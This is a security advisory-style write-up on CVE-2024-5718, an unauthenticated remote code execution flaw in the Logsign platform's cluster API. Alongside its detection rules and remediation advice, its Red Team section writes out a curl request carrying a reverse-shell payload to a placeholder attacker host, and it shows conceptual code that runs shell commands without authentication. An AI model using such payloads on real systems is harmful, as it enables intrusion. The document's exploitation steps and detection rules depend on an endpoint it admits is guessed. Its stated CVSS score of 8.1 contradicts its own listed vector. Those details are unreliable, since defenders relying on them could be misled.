CVE-2024-5718

Executive Summary

CVE-2024-5718 is a critical, unauthenticated remote code execution vulnerability in the Logsign Unified SecOps Platform. The flaw resides in the cluster HTTP API, which listens on TCP port 1924 by default. Due to a complete lack of authentication, an attacker can send crafted requests to this API and execute arbitrary code as root. With a CVSS score of 8.1, this vulnerability poses a severe risk to any organization using the affected Logsign platform. No public proof-of-concept or patch is currently available, making detection and mitigation critical.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not cross trust boundaries.
• Confidentiality (C): High (H) – Full data access.
• Integrity (I): High (H) – Full system modification.
• Availability (A): High (H) – Full system disruption.

Threat Level: Critical. The combination of remote exploitability, no authentication, and root-level code execution makes this a top-priority vulnerability.

Deep Dive & Mechanics

The Logsign Unified SecOps Platform includes a cluster HTTP API intended for internal cluster management. This API listens on TCP port 1924. The vulnerability arises because the API does not enforce any authentication mechanism. An attacker who can reach this port can send arbitrary HTTP requests to the API, which may include commands that are executed with root privileges.

The specific flaw is a missing authentication check (CWE-306) before allowing access to functionality. The API likely exposes endpoints for cluster configuration, service management, or command execution. Without authentication, an attacker can directly invoke these endpoints to execute arbitrary code.

Vulnerable vs. Patched Code

Since no patch or specific version information is available, a generic comparison is provided.

Vulnerable Code (Conceptual):

# app.py - Cluster API endpoint
@app.route('/cluster/execute', methods=['POST'])
def execute_command():
    command = request.json.get('command')
    # No authentication check
    result = subprocess.run(command, shell=True, capture_output=True)
    return result.stdout

Patched Code (Conceptual):

# app.py - Cluster API endpoint with authentication
from functools import wraps

def require_auth(f):
    @wraps(f)
    def decorated(*args, **kwargs):
        token = request.headers.get('Authorization')
        if not token or not validate_token(token):
            return jsonify({'error': 'Unauthorized'}), 401
        return f(*args, **kwargs)
    return decorated

@app.route('/cluster/execute', methods=['POST'])
@require_auth
def execute_command():
    command = request.json.get('command')
    result = subprocess.run(command, shell=True, capture_output=True)
    return result.stdout

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Logsign Unified SecOps Platform instance (version unknown, but any version with the cluster API enabled).
2. Ensure the cluster HTTP API is listening on port 1924.
3. From an attacker machine, verify connectivity: nc -zv <target_ip> 1924.

Exploitation: Since no public exploit code is available, a generic approach is described.

1. Reconnaissance: Scan for open port 1924.
2. Identify Endpoints: Use a tool like ffuf to discover API endpoints (e.g., /cluster/execute, /cluster/command).
3. Execute Command: Send a POST request with a command payload.

curl -X POST http://<target_ip>:1924/cluster/execute \
  -H "Content-Type: application/json" \
  -d '{"command": "id"}'

4. Gain Shell: Use a reverse shell payload.

curl -X POST http://<target_ip>:1924/cluster/execute \
  -H "Content-Type: application/json" \
  -d '{"command": "bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1"}'

Blue Team

Detection:

• Monitor for connections to port 1924 from unexpected sources.
• Alert on any HTTP requests to the cluster API without proper authentication headers.
• Use network segmentation to restrict access to port 1924.

Hunting:

• Search logs for unusual POST requests to /cluster/ endpoints.
• Look for processes spawned by the Logsign service that are not typical.

Indicators of Compromise (IOCs)

• Network:

  • Inbound connections to TCP port 1924 from external IPs.
  • HTTP POST requests to /cluster/execute or similar endpoints.
  • Outbound connections from the Logsign server to attacker-controlled IPs on common ports (e.g., 4444, 8080).

• Host:

  • Unexpected processes running as root.
  • New user accounts or SSH keys.
  • Modified system binaries or configuration files.

• File:

  • Suspicious files in /tmp/ or /var/tmp/.
  • Web shells or scripts in the Logsign web directory.

Detection Engineering

YARA Rule

rule CVE_2024_5718_Logsign_RCE {
    meta:
        description = "Detects exploit attempts for CVE-2024-5718"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-5718"
    strings:
        $s1 = "/cluster/execute" ascii wide nocase
        $s2 = "/cluster/command" ascii wide nocase
        $s3 = "command" ascii wide nocase
        $s4 = "bash -i" ascii wide nocase
        $s5 = "/dev/tcp/" ascii wide nocase
    condition:
        any of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2024-5718 Logsign Cluster API Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts against Logsign Unified SecOps Platform cluster API
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '/cluster/execute'
            - '/cluster/command'
        cs-method: 'POST'
    condition: selection
falsepositives:
    - Legitimate cluster management traffic (if any)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET 1924 (msg:"CVE-2024-5718 Logsign Cluster API Exploitation Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cluster/execute"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the cluster HTTP API if not required. This can often be done via configuration files or by blocking port 1924 at the firewall.
2. Restrict network access to port 1924 to only trusted internal IPs using firewall rules.
3. Monitor logs for any suspicious activity on port 1924.

Long-Term Fix:

• Apply a vendor patch as soon as it becomes available.
• Implement proper authentication for all API endpoints.
• Conduct a security audit of the Logsign platform.

Workaround:

• Use a reverse proxy (e.g., Nginx) to add authentication before requests reach the cluster API.

Valters IT